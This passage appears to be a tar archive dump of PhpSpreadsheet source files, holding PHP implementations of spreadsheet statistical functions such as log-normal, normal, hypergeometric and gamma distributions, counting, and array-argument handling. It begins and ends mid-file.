self::betaFraction(1 - $x, $q, $p) / $q); } // Function cache for logBeta function private static float $logBetaCacheP = 0.0; private static float $logBetaCacheQ = 0.0; private static float $logBetaCacheResult = 0.0; /** * The natural logarithm of the beta function. * * @param float $p require p>0 * @param float $q require q>0 * * @return float 0 if p<=0, q<=0 or p+q>2.55E305 to avoid errors and over/underflow * * @author Jaco van Kooten */ private static function logBeta(float $p, float $q): float { if ($p != self::$logBetaCacheP || $q != self::$logBetaCacheQ) { self::$logBetaCacheP = $p; self::$logBetaCacheQ = $q; if (($p <= 0.0) || ($q <= 0.0) || (($p + $q) > self::LOG_GAMMA_X_MAX_VALUE)) { self::$logBetaCacheResult = 0.0; } else { self::$logBetaCacheResult = Gamma::logGamma($p) + Gamma::logGamma($q) - Gamma::logGamma($p + $q); } } return self::$logBetaCacheResult; } /** * Evaluates of continued fraction part of incomplete beta function. * Based on an idea from Numerical Recipes (W.H. Press et al, 1992). * * @author Jaco van Kooten */ private static function betaFraction(float $x, float $p, float $q): float { $c = 1.0; $sum_pq = $p + $q; $p_plus = $p + 1.0; $p_minus = $p - 1.0; $h = 1.0 - $sum_pq * $x / $p_plus; if (abs($h) < self::XMININ) { $h = self::XMININ; } $h = 1.0 / $h; $frac = $h; $m = 1; $delta = 0.0; while ($m <= self::MAX_ITERATIONS && abs($delta - 1.0) > Functions::PRECISION) { $m2 = 2 * $m; // even index for d $d = $m * ($q - $m) * $x / (($p_minus + $m2) * ($p + $m2)); $h = 1.0 + $d * $h; if (abs($h) < self::XMININ) { $h = self::XMININ; } $h = 1.0 / $h; $c = 1.0 + $d / $c; if (abs($c) < self::XMININ) { $c = self::XMININ; } $frac *= $h * $c; // odd index for d $d = -($p + $m) * ($sum_pq + $m) * $x / (($p + $m2) * ($p_plus + $m2)); $h = 1.0 + $d * $h; if (abs($h) < self::XMININ) { $h = self::XMININ; } $h = 1.0 / $h; $c = 1.0 + $d / $c; if (abs($c) < self::XMININ) { $c = self::XMININ; } $delta = $h * $c; $frac *= $delta; ++$m; } return $frac; } /* private static function betaValue(float $a, float $b): float { return (Gamma::gammaValue($a) * Gamma::gammaValue($b)) / Gamma::gammaValue($a + $b); } private static function regularizedIncompleteBeta(float $value, float $a, float $b): float { return self::incompleteBeta($value, $a, $b) / self::betaValue($a, $b); } */ } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/LogNormal.php000064400000013013151676714400027234 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class LogNormal { use ArrayEnabled; /** * LOGNORMDIST. * * Returns the cumulative lognormal distribution of x, where ln(x) is normally distributed * with parameters mean and standard_dev. * * @param mixed $value Float value for which we want the probability * Or can be an array of values * @param mixed $mean Mean value as a float * Or can be an array of values * @param mixed $stdDev Standard Deviation as a float * Or can be an array of values * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function cumulative(mixed $value, mixed $mean, mixed $stdDev) { if (is_array($value) || is_array($mean) || is_array($stdDev)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $mean, $stdDev); } try { $value = DistributionValidations::validateFloat($value); $mean = DistributionValidations::validateFloat($mean); $stdDev = DistributionValidations::validateFloat($stdDev); } catch (Exception $e) { return $e->getMessage(); } if (($value <= 0) || ($stdDev <= 0)) { return ExcelError::NAN(); } return StandardNormal::cumulative((log($value) - $mean) / $stdDev); } /** * LOGNORM.DIST. * * Returns the lognormal distribution of x, where ln(x) is normally distributed * with parameters mean and standard_dev. * * @param mixed $value Float value for which we want the probability * Or can be an array of values * @param mixed $mean Mean value as a float * Or can be an array of values * @param mixed $stdDev Standard Deviation as a float * Or can be an array of values * @param mixed $cumulative Boolean value indicating if we want the cdf (true) or the pdf (false) * Or can be an array of values * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distribution(mixed $value, mixed $mean, mixed $stdDev, mixed $cumulative = false) { if (is_array($value) || is_array($mean) || is_array($stdDev) || is_array($cumulative)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $mean, $stdDev, $cumulative); } try { $value = DistributionValidations::validateFloat($value); $mean = DistributionValidations::validateFloat($mean); $stdDev = DistributionValidations::validateFloat($stdDev); $cumulative = DistributionValidations::validateBool($cumulative); } catch (Exception $e) { return $e->getMessage(); } if (($value <= 0) || ($stdDev <= 0)) { return ExcelError::NAN(); } if ($cumulative === true) { return StandardNormal::distribution((log($value) - $mean) / $stdDev, true); } return (1 / (sqrt(2 * M_PI) * $stdDev * $value)) * exp(0 - ((log($value) - $mean) ** 2 / (2 * $stdDev ** 2))); } /** * LOGINV. * * Returns the inverse of the lognormal cumulative distribution * * @param mixed $probability Float probability for which we want the value * Or can be an array of values * @param mixed $mean Mean Value as a float * Or can be an array of values * @param mixed $stdDev Standard Deviation as a float * Or can be an array of values * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions * * @TODO Try implementing P J Acklam's refinement algorithm for greater * accuracy if I can get my head round the mathematics * (as described at) http://home.online.no/~pjacklam/notes/invnorm/ */ public static function inverse(mixed $probability, mixed $mean, mixed $stdDev): array|string|float { if (is_array($probability) || is_array($mean) || is_array($stdDev)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $probability, $mean, $stdDev); } try { $probability = DistributionValidations::validateProbability($probability); $mean = DistributionValidations::validateFloat($mean); $stdDev = DistributionValidations::validateFloat($stdDev); } catch (Exception $e) { return $e->getMessage(); } if ($stdDev <= 0) { return ExcelError::NAN(); } /** @var float $inverse */ $inverse = StandardNormal::inverse($probability); return exp($mean + $stdDev * $inverse); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/Normal.php000064400000016116151676714400026601 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Normal { use ArrayEnabled; public const SQRT2PI = 2.5066282746310005024157652848110452530069867406099; /** * NORMDIST. * * Returns the normal distribution for the specified mean and standard deviation. This * function has a very wide range of applications in statistics, including hypothesis * testing. * * @param mixed $value Float value for which we want the probability * Or can be an array of values * @param mixed $mean Mean value as a float * Or can be an array of values * @param mixed $stdDev Standard Deviation as a float * Or can be an array of values * @param mixed $cumulative Boolean value indicating if we want the cdf (true) or the pdf (false) * Or can be an array of values * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distribution(mixed $value, mixed $mean, mixed $stdDev, mixed $cumulative): array|string|float { if (is_array($value) || is_array($mean) || is_array($stdDev) || is_array($cumulative)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $mean, $stdDev, $cumulative); } try { $value = DistributionValidations::validateFloat($value); $mean = DistributionValidations::validateFloat($mean); $stdDev = DistributionValidations::validateFloat($stdDev); $cumulative = DistributionValidations::validateBool($cumulative); } catch (Exception $e) { return $e->getMessage(); } if ($stdDev < 0) { return ExcelError::NAN(); } if ($cumulative) { return 0.5 * (1 + Engineering\Erf::erfValue(($value - $mean) / ($stdDev * sqrt(2)))); } return (1 / (self::SQRT2PI * $stdDev)) * exp(0 - (($value - $mean) ** 2 / (2 * ($stdDev * $stdDev)))); } /** * NORMINV. * * Returns the inverse of the normal cumulative distribution for the specified mean and standard deviation. * * @param mixed $probability Float probability for which we want the value * Or can be an array of values * @param mixed $mean Mean Value as a float * Or can be an array of values * @param mixed $stdDev Standard Deviation as a float * Or can be an array of values * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function inverse(mixed $probability, mixed $mean, mixed $stdDev): array|string|float { if (is_array($probability) || is_array($mean) || is_array($stdDev)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $probability, $mean, $stdDev); } try { $probability = DistributionValidations::validateProbability($probability); $mean = DistributionValidations::validateFloat($mean); $stdDev = DistributionValidations::validateFloat($stdDev); } catch (Exception $e) { return $e->getMessage(); } if ($stdDev < 0) { return ExcelError::NAN(); } return (self::inverseNcdf($probability) * $stdDev) + $mean; } /* * inverse_ncdf.php * ------------------- * begin : Friday, January 16, 2004 * copyright : (C) 2004 Michael Nickerson * email : nickersonm@yahoo.com * */ private static function inverseNcdf(float $p): float { // Inverse ncdf approximation by Peter J. Acklam, implementation adapted to // PHP by Michael Nickerson, using Dr. Thomas Ziegler's C implementation as // a guide. http://home.online.no/~pjacklam/notes/invnorm/index.html // I have not checked the accuracy of this implementation. Be aware that PHP // will truncate the coeficcients to 14 digits. // You have permission to use and distribute this function freely for // whatever purpose you want, but please show common courtesy and give credit // where credit is due. // Input paramater is $p - probability - where 0 < p < 1. // Coefficients in rational approximations static $a = [ 1 => -3.969683028665376e+01, 2 => 2.209460984245205e+02, 3 => -2.759285104469687e+02, 4 => 1.383577518672690e+02, 5 => -3.066479806614716e+01, 6 => 2.506628277459239e+00, ]; static $b = [ 1 => -5.447609879822406e+01, 2 => 1.615858368580409e+02, 3 => -1.556989798598866e+02, 4 => 6.680131188771972e+01, 5 => -1.328068155288572e+01, ]; static $c = [ 1 => -7.784894002430293e-03, 2 => -3.223964580411365e-01, 3 => -2.400758277161838e+00, 4 => -2.549732539343734e+00, 5 => 4.374664141464968e+00, 6 => 2.938163982698783e+00, ]; static $d = [ 1 => 7.784695709041462e-03, 2 => 3.224671290700398e-01, 3 => 2.445134137142996e+00, 4 => 3.754408661907416e+00, ]; // Define lower and upper region break-points. $p_low = 0.02425; //Use lower region approx. below this $p_high = 1 - $p_low; //Use upper region approx. above this if (0 < $p && $p < $p_low) { // Rational approximation for lower region. $q = sqrt(-2 * log($p)); return ((((($c[1] * $q + $c[2]) * $q + $c[3]) * $q + $c[4]) * $q + $c[5]) * $q + $c[6]) / (((($d[1] * $q + $d[2]) * $q + $d[3]) * $q + $d[4]) * $q + 1); } elseif ($p_high < $p && $p < 1) { // Rational approximation for upper region. $q = sqrt(-2 * log(1 - $p)); return -((((($c[1] * $q + $c[2]) * $q + $c[3]) * $q + $c[4]) * $q + $c[5]) * $q + $c[6]) / (((($d[1] * $q + $d[2]) * $q + $d[3]) * $q + $d[4]) * $q + 1); } // Rational approximation for central region. $q = $p - 0.5; $r = $q * $q; return ((((($a[1] * $r + $a[2]) * $r + $a[3]) * $r + $a[4]) * $r + $a[5]) * $r + $a[6]) * $q / ((((($b[1] * $r + $b[2]) * $r + $b[3]) * $r + $b[4]) * $r + $b[5]) * $r + 1); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/HyperGeometric.php000064400000006362151676714400030301 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig\Combinations; class HyperGeometric { use ArrayEnabled; /** * HYPGEOMDIST. * * Returns the hypergeometric distribution. HYPGEOMDIST returns the probability of a given number of * sample successes, given the sample size, population successes, and population size. * * @param mixed $sampleSuccesses Integer number of successes in the sample * Or can be an array of values * @param mixed $sampleNumber Integer size of the sample * Or can be an array of values * @param mixed $populationSuccesses Integer number of successes in the population * Or can be an array of values * @param mixed $populationNumber Integer population size * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distribution(mixed $sampleSuccesses, mixed $sampleNumber, mixed $populationSuccesses, mixed $populationNumber): array|string|float { if ( is_array($sampleSuccesses) || is_array($sampleNumber) || is_array($populationSuccesses) || is_array($populationNumber) ) { return self::evaluateArrayArguments( [self::class, __FUNCTION__], $sampleSuccesses, $sampleNumber, $populationSuccesses, $populationNumber ); } try { $sampleSuccesses = DistributionValidations::validateInt($sampleSuccesses); $sampleNumber = DistributionValidations::validateInt($sampleNumber); $populationSuccesses = DistributionValidations::validateInt($populationSuccesses); $populationNumber = DistributionValidations::validateInt($populationNumber); } catch (Exception $e) { return $e->getMessage(); } if (($sampleSuccesses < 0) || ($sampleSuccesses > $sampleNumber) || ($sampleSuccesses > $populationSuccesses)) { return ExcelError::NAN(); } if (($sampleNumber <= 0) || ($sampleNumber > $populationNumber)) { return ExcelError::NAN(); } if (($populationSuccesses <= 0) || ($populationSuccesses > $populationNumber)) { return ExcelError::NAN(); } $successesPopulationAndSample = (float) Combinations::withoutRepetition($populationSuccesses, $sampleSuccesses); $numbersPopulationAndSample = (float) Combinations::withoutRepetition($populationNumber, $sampleNumber); $adjustedPopulationAndSample = (float) Combinations::withoutRepetition( $populationNumber - $populationSuccesses, $sampleNumber - $sampleSuccesses ); return $successesPopulationAndSample * $adjustedPopulationAndSample / $numbersPopulationAndSample; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/GammaBase.php000064400000026657151676714400027201 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; abstract class GammaBase { private const LOG_GAMMA_X_MAX_VALUE = 2.55e305; private const EPS = 2.22e-16; private const MAX_VALUE = 1.2e308; private const SQRT2PI = 2.5066282746310005024157652848110452530069867406099; private const MAX_ITERATIONS = 256; protected static function calculateDistribution(float $value, float $a, float $b, bool $cumulative): float { if ($cumulative) { return self::incompleteGamma($a, $value / $b) / self::gammaValue($a); } return (1 / ($b ** $a * self::gammaValue($a))) * $value ** ($a - 1) * exp(0 - ($value / $b)); } /** @return float|string */ protected static function calculateInverse(float $probability, float $alpha, float $beta) { $xLo = 0; $xHi = $alpha * $beta * 5; $dx = 1024; $x = $xNew = 1; $i = 0; while ((abs($dx) > Functions::PRECISION) && (++$i <= self::MAX_ITERATIONS)) { // Apply Newton-Raphson step $result = self::calculateDistribution($x, $alpha, $beta, true); if (!is_float($result)) { return ExcelError::NA(); } $error = $result - $probability; if ($error == 0.0) { $dx = 0; } elseif ($error < 0.0) { $xLo = $x; } else { $xHi = $x; } $pdf = self::calculateDistribution($x, $alpha, $beta, false); // Avoid division by zero if (!is_float($pdf)) { return ExcelError::NA(); } if ($pdf !== 0.0) { $dx = $error / $pdf; $xNew = $x - $dx; } // If the NR fails to converge (which for example may be the // case if the initial guess is too rough) we apply a bisection // step to determine a more narrow interval around the root. if (($xNew < $xLo) || ($xNew > $xHi) || ($pdf == 0.0)) { $xNew = ($xLo + $xHi) / 2; $dx = $xNew - $x; } $x = $xNew; } if ($i === self::MAX_ITERATIONS) { return ExcelError::NA(); } return $x; } // // Implementation of the incomplete Gamma function // public static function incompleteGamma(float $a, float $x): float { static $max = 32; $summer = 0; for ($n = 0; $n <= $max; ++$n) { $divisor = $a; for ($i = 1; $i <= $n; ++$i) { $divisor *= ($a + $i); } $summer += ($x ** $n / $divisor); } return $x ** $a * exp(0 - $x) * $summer; } // // Implementation of the Gamma function // public static function gammaValue(float $value): float { if ($value == 0.0) { return 0; } static $p0 = 1.000000000190015; static $p = [ 1 => 76.18009172947146, 2 => -86.50532032941677, 3 => 24.01409824083091, 4 => -1.231739572450155, 5 => 1.208650973866179e-3, 6 => -5.395239384953e-6, ]; $y = $x = $value; $tmp = $x + 5.5; $tmp -= ($x + 0.5) * log($tmp); $summer = $p0; for ($j = 1; $j <= 6; ++$j) { $summer += ($p[$j] / ++$y); } return exp(0 - $tmp + log(self::SQRT2PI * $summer / $x)); } private const LG_D1 = -0.5772156649015328605195174; private const LG_D2 = 0.4227843350984671393993777; private const LG_D4 = 1.791759469228055000094023; private const LG_P1 = [ 4.945235359296727046734888, 201.8112620856775083915565, 2290.838373831346393026739, 11319.67205903380828685045, 28557.24635671635335736389, 38484.96228443793359990269, 26377.48787624195437963534, 7225.813979700288197698961, ]; private const LG_P2 = [ 4.974607845568932035012064, 542.4138599891070494101986, 15506.93864978364947665077, 184793.2904445632425417223, 1088204.76946882876749847, 3338152.967987029735917223, 5106661.678927352456275255, 3074109.054850539556250927, ]; private const LG_P4 = [ 14745.02166059939948905062, 2426813.369486704502836312, 121475557.4045093227939592, 2663432449.630976949898078, 29403789566.34553899906876, 170266573776.5398868392998, 492612579337.743088758812, 560625185622.3951465078242, ]; private const LG_Q1 = [ 67.48212550303777196073036, 1113.332393857199323513008, 7738.757056935398733233834, 27639.87074403340708898585, 54993.10206226157329794414, 61611.22180066002127833352, 36351.27591501940507276287, 8785.536302431013170870835, ]; private const LG_Q2 = [ 183.0328399370592604055942, 7765.049321445005871323047, 133190.3827966074194402448, 1136705.821321969608938755, 5267964.117437946917577538, 13467014.54311101692290052, 17827365.30353274213975932, 9533095.591844353613395747, ]; private const LG_Q4 = [ 2690.530175870899333379843, 639388.5654300092398984238, 41355999.30241388052042842, 1120872109.61614794137657, 14886137286.78813811542398, 101680358627.2438228077304, 341747634550.7377132798597, 446315818741.9713286462081, ]; private const LG_C = [ -0.001910444077728, 8.4171387781295e-4, -5.952379913043012e-4, 7.93650793500350248e-4, -0.002777777777777681622553, 0.08333333333333333331554247, 0.0057083835261, ]; // Rough estimate of the fourth root of logGamma_xBig private const LG_FRTBIG = 2.25e76; private const PNT68 = 0.6796875; // Function cache for logGamma private static float $logGammaCacheResult = 0.0; private static float $logGammaCacheX = 0.0; /** * logGamma function. * * Original author was Jaco van Kooten. Ported to PHP by Paul Meagher. * * The natural logarithm of the gamma function. <br /> * Based on public domain NETLIB (Fortran) code by W. J. Cody and L. Stoltz <br /> * Applied Mathematics Division <br /> * Argonne National Laboratory <br /> * Argonne, IL 60439 <br /> * <p> * References: * <ol> * <li>W. J. Cody and K. E. Hillstrom, 'Chebyshev Approximations for the Natural * Logarithm of the Gamma Function,' Math. Comp. 21, 1967, pp. 198-203.</li> * <li>K. E. Hillstrom, ANL/AMD Program ANLC366S, DGAMMA/DLGAMA, May, 1969.</li> * <li>Hart, Et. Al., Computer Approximations, Wiley and sons, New York, 1968.</li> * </ol> * </p> * <p> * From the original documentation: * </p> * <p> * This routine calculates the LOG(GAMMA) function for a positive real argument X. * Computation is based on an algorithm outlined in references 1 and 2. * The program uses rational functions that theoretically approximate LOG(GAMMA) * to at least 18 significant decimal digits. The approximation for X > 12 is from * reference 3, while approximations for X < 12.0 are similar to those in reference * 1, but are unpublished. The accuracy achieved depends on the arithmetic system, * the compiler, the intrinsic functions, and proper selection of the * machine-dependent constants. * </p> * <p> * Error returns: <br /> * The program returns the value XINF for X .LE. 0.0 or when overflow would occur. * The computation is believed to be free of underflow and overflow. * </p> * * @version 1.1 * * @author Jaco van Kooten * * @return float MAX_VALUE for x < 0.0 or when overflow would occur, i.e. x > 2.55E305 */ public static function logGamma(float $x): float { if ($x == self::$logGammaCacheX) { return self::$logGammaCacheResult; } $y = $x; if ($y > 0.0 && $y <= self::LOG_GAMMA_X_MAX_VALUE) { if ($y <= self::EPS) { $res = -log($y); } elseif ($y <= 1.5) { $res = self::logGamma1($y); } elseif ($y <= 4.0) { $res = self::logGamma2($y); } elseif ($y <= 12.0) { $res = self::logGamma3($y); } else { $res = self::logGamma4($y); } } else { // -------------------------- // Return for bad arguments // -------------------------- $res = self::MAX_VALUE; } // ------------------------------ // Final adjustments and return // ------------------------------ self::$logGammaCacheX = $x; self::$logGammaCacheResult = $res; return $res; } private static function logGamma1(float $y): float { // --------------------- // EPS .LT. X .LE. 1.5 // --------------------- if ($y < self::PNT68) { $corr = -log($y); $xm1 = $y; } else { $corr = 0.0; $xm1 = $y - 1.0; } $xden = 1.0; $xnum = 0.0; if ($y <= 0.5 || $y >= self::PNT68) { for ($i = 0; $i < 8; ++$i) { $xnum = $xnum * $xm1 + self::LG_P1[$i]; $xden = $xden * $xm1 + self::LG_Q1[$i]; } return $corr + $xm1 * (self::LG_D1 + $xm1 * ($xnum / $xden)); } $xm2 = $y - 1.0; for ($i = 0; $i < 8; ++$i) { $xnum = $xnum * $xm2 + self::LG_P2[$i]; $xden = $xden * $xm2 + self::LG_Q2[$i]; } return $corr + $xm2 * (self::LG_D2 + $xm2 * ($xnum / $xden)); } private static function logGamma2(float $y): float { // --------------------- // 1.5 .LT. X .LE. 4.0 // --------------------- $xm2 = $y - 2.0; $xden = 1.0; $xnum = 0.0; for ($i = 0; $i < 8; ++$i) { $xnum = $xnum * $xm2 + self::LG_P2[$i]; $xden = $xden * $xm2 + self::LG_Q2[$i]; } return $xm2 * (self::LG_D2 + $xm2 * ($xnum / $xden)); } protected static function logGamma3(float $y): float { // ---------------------- // 4.0 .LT. X .LE. 12.0 // ---------------------- $xm4 = $y - 4.0; $xden = -1.0; $xnum = 0.0; for ($i = 0; $i < 8; ++$i) { $xnum = $xnum * $xm4 + self::LG_P4[$i]; $xden = $xden * $xm4 + self::LG_Q4[$i]; } return self::LG_D4 + $xm4 * ($xnum / $xden); } protected static function logGamma4(float $y): float { // --------------------------------- // Evaluate for argument .GE. 12.0 // --------------------------------- $res = 0.0; if ($y <= self::LG_FRTBIG) { $res = self::LG_C[6]; $ysq = $y * $y; for ($i = 0; $i < 6; ++$i) { $res = $res / $ysq + self::LG_C[$i]; } $res /= $y; $corr = log($y); $res = $res + log(self::SQRT2PI) - 0.5 * $corr; $res += $y * ($corr - 1.0); } return $res; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Counts.php000064400000005210151676714400023753 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\Exception as CalcException; use PhpOffice\PhpSpreadsheet\Calculation\Functions; class Counts extends AggregateBase { /** * COUNT. * * Counts the number of cells that contain numbers within the list of arguments * * Excel Function: * COUNT(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function COUNT(mixed ...$args): int { $returnValue = 0; // Loop through arguments $aArgs = Functions::flattenArrayIndexed($args); foreach ($aArgs as $k => $arg) { $arg = self::testAcceptedBoolean($arg, $k); // Is it a numeric value? // Strings containing numeric values are only counted if they are string literals (not cell values) // and then only in MS Excel and in Open Office, not in Gnumeric if (self::isAcceptedCountable($arg, $k, true)) { ++$returnValue; } } return $returnValue; } /** * COUNTA. * * Counts the number of cells that are not empty within the list of arguments * * Excel Function: * COUNTA(value1[,value2[, ...]]) * * @param mixed ...$args Data values */ public static function COUNTA(mixed ...$args): int { $returnValue = 0; // Loop through arguments $aArgs = Functions::flattenArrayIndexed($args); foreach ($aArgs as $k => $arg) { // Nulls are counted if literals, but not if cell values if ($arg !== null || (!Functions::isCellValue($k))) { ++$returnValue; } } return $returnValue; } /** * COUNTBLANK. * * Counts the number of empty cells within the list of arguments * * Excel Function: * COUNTBLANK(value1[,value2[, ...]]) * * @param mixed $range Data values */ public static function COUNTBLANK(mixed $range): int { if ($range === null) { return 1; } if (!is_array($range) || array_key_exists(0, $range)) { throw new CalcException('Must specify range of cells, not any kind of literal'); } $returnValue = 0; // Loop through arguments $aArgs = Functions::flattenArray($range); foreach ($aArgs as $arg) { // Is it a blank cell? if (($arg === null) || ((is_string($arg)) && ($arg == ''))) { ++$returnValue; } } return $returnValue; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/StatisticalValidations.php000064400000001536151676714400027171 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class StatisticalValidations { public static function validateFloat(mixed $value): float { if (!is_numeric($value)) { throw new Exception(ExcelError::VALUE()); } return (float) $value; } public static function validateInt(mixed $value): int { if (!is_numeric($value)) { throw new Exception(ExcelError::VALUE()); } return (int) floor((float) $value); } public static function validateBool(mixed $value): bool { if (!is_bool($value) && !is_numeric($value)) { throw new Exception(ExcelError::VALUE()); } return (bool) $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Size.php000064400000004720151676714400023417 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Size { /** * LARGE. * * Returns the nth largest value in a data set. You can use this function to * select a value based on its relative standing. * * Excel Function: * LARGE(value1[,value2[, ...]],entry) * * @param mixed $args Data values * * @return float|string The result, or a string containing an error */ public static function large(mixed ...$args) { $aArgs = Functions::flattenArray($args); $entry = array_pop($aArgs); if ((is_numeric($entry)) && (!is_string($entry))) { $entry = (int) floor($entry); $mArgs = self::filter($aArgs); $count = Counts::COUNT($mArgs); --$entry; if ($count === 0 || $entry < 0 || $entry >= $count) { return ExcelError::NAN(); } rsort($mArgs); return $mArgs[$entry]; } return ExcelError::VALUE(); } /** * SMALL. * * Returns the nth smallest value in a data set. You can use this function to * select a value based on its relative standing. * * Excel Function: * SMALL(value1[,value2[, ...]],entry) * * @param mixed $args Data values * * @return float|string The result, or a string containing an error */ public static function small(mixed ...$args) { $aArgs = Functions::flattenArray($args); $entry = array_pop($aArgs); if ((is_numeric($entry)) && (!is_string($entry))) { $entry = (int) floor($entry); $mArgs = self::filter($aArgs); $count = Counts::COUNT($mArgs); --$entry; if ($count === 0 || $entry < 0 || $entry >= $count) { return ExcelError::NAN(); } sort($mArgs); return $mArgs[$entry]; } return ExcelError::VALUE(); } /** * @param mixed[] $args Data values */ protected static function filter(array $args): array { $mArgs = []; foreach ($args as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $mArgs[] = $arg; } } return $mArgs; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/ArrayEnabled.php000064400000011534151676714400022553 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Engine\ArrayArgumentHelper; use PhpOffice\PhpSpreadsheet\Calculation\Engine\ArrayArgumentProcessor; trait ArrayEnabled { private static bool $initializationNeeded = true; private static ArrayArgumentHelper $arrayArgumentHelper; /** * @param array|false $arguments Can be changed to array for Php8.1+ */ private static function initialiseHelper($arguments): void { if (self::$initializationNeeded === true) { self::$arrayArgumentHelper = new ArrayArgumentHelper(); self::$initializationNeeded = false; } self::$arrayArgumentHelper->initialise(($arguments === false) ? [] : $arguments); } /** * Handles array argument processing when the function accepts a single argument that can be an array argument. * Example use for: * DAYOFMONTH() or FACT(). */ protected static function evaluateSingleArgumentArray(callable $method, array $values): array { $result = []; foreach ($values as $value) { $result[] = $method($value); } return $result; } /** * Handles array argument processing when the function accepts multiple arguments, * and any of them can be an array argument. * Example use for: * ROUND() or DATE(). */ protected static function evaluateArrayArguments(callable $method, mixed ...$arguments): array { self::initialiseHelper($arguments); $arguments = self::$arrayArgumentHelper->arguments(); return ArrayArgumentProcessor::processArguments(self::$arrayArgumentHelper, $method, ...$arguments); } /** * Handles array argument processing when the function accepts multiple arguments, * but only the first few (up to limit) can be an array arguments. * Example use for: * NETWORKDAYS() or CONCATENATE(), where the last argument is a matrix (or a series of values) that need * to be treated as a such rather than as an array arguments. */ protected static function evaluateArrayArgumentsSubset(callable $method, int $limit, mixed ...$arguments): array { self::initialiseHelper(array_slice($arguments, 0, $limit)); $trailingArguments = array_slice($arguments, $limit); $arguments = self::$arrayArgumentHelper->arguments(); $arguments = array_merge($arguments, $trailingArguments); return ArrayArgumentProcessor::processArguments(self::$arrayArgumentHelper, $method, ...$arguments); } private static function testFalse(mixed $value): bool { return $value === false; } /** * Handles array argument processing when the function accepts multiple arguments, * but only the last few (from start) can be an array arguments. * Example use for: * Z.TEST() or INDEX(), where the first argument 1 is a matrix that needs to be treated as a dataset * rather than as an array argument. */ protected static function evaluateArrayArgumentsSubsetFrom(callable $method, int $start, mixed ...$arguments): array { $arrayArgumentsSubset = array_combine( range($start, count($arguments) - $start), array_slice($arguments, $start) ); if (self::testFalse($arrayArgumentsSubset)) { return ['#VALUE!']; } self::initialiseHelper($arrayArgumentsSubset); $leadingArguments = array_slice($arguments, 0, $start); $arguments = self::$arrayArgumentHelper->arguments(); $arguments = array_merge($leadingArguments, $arguments); return ArrayArgumentProcessor::processArguments(self::$arrayArgumentHelper, $method, ...$arguments); } /** * Handles array argument processing when the function accepts multiple arguments, * and any of them can be an array argument except for the one specified by ignore. * Example use for: * HLOOKUP() and VLOOKUP(), where argument 1 is a matrix that needs to be treated as a database * rather than as an array argument. */ protected static function evaluateArrayArgumentsIgnore(callable $method, int $ignore, mixed ...$arguments): array { $leadingArguments = array_slice($arguments, 0, $ignore); $ignoreArgument = array_slice($arguments, $ignore, 1); $trailingArguments = array_slice($arguments, $ignore + 1); self::initialiseHelper(array_merge($leadingArguments, [[null]], $trailingArguments)); $arguments = self::$arrayArgumentHelper->arguments(); array_splice($arguments, $ignore, 1, $ignoreArgument); return ArrayArgumentProcessor::processArguments(self::$arrayArgumentHelper, $method, ...$arguments); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Category.php000064400000001321151676714400021770 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation; abstract class Category { // Function categories const CATEGORY_CUBE = 'Cube'; const CATEGORY_DATABASE = 'Database'; const CATEGORY_DATE_AND_TIME = 'Date and Time'; const CATEGORY_ENGINEERING = 'Engineering'; const 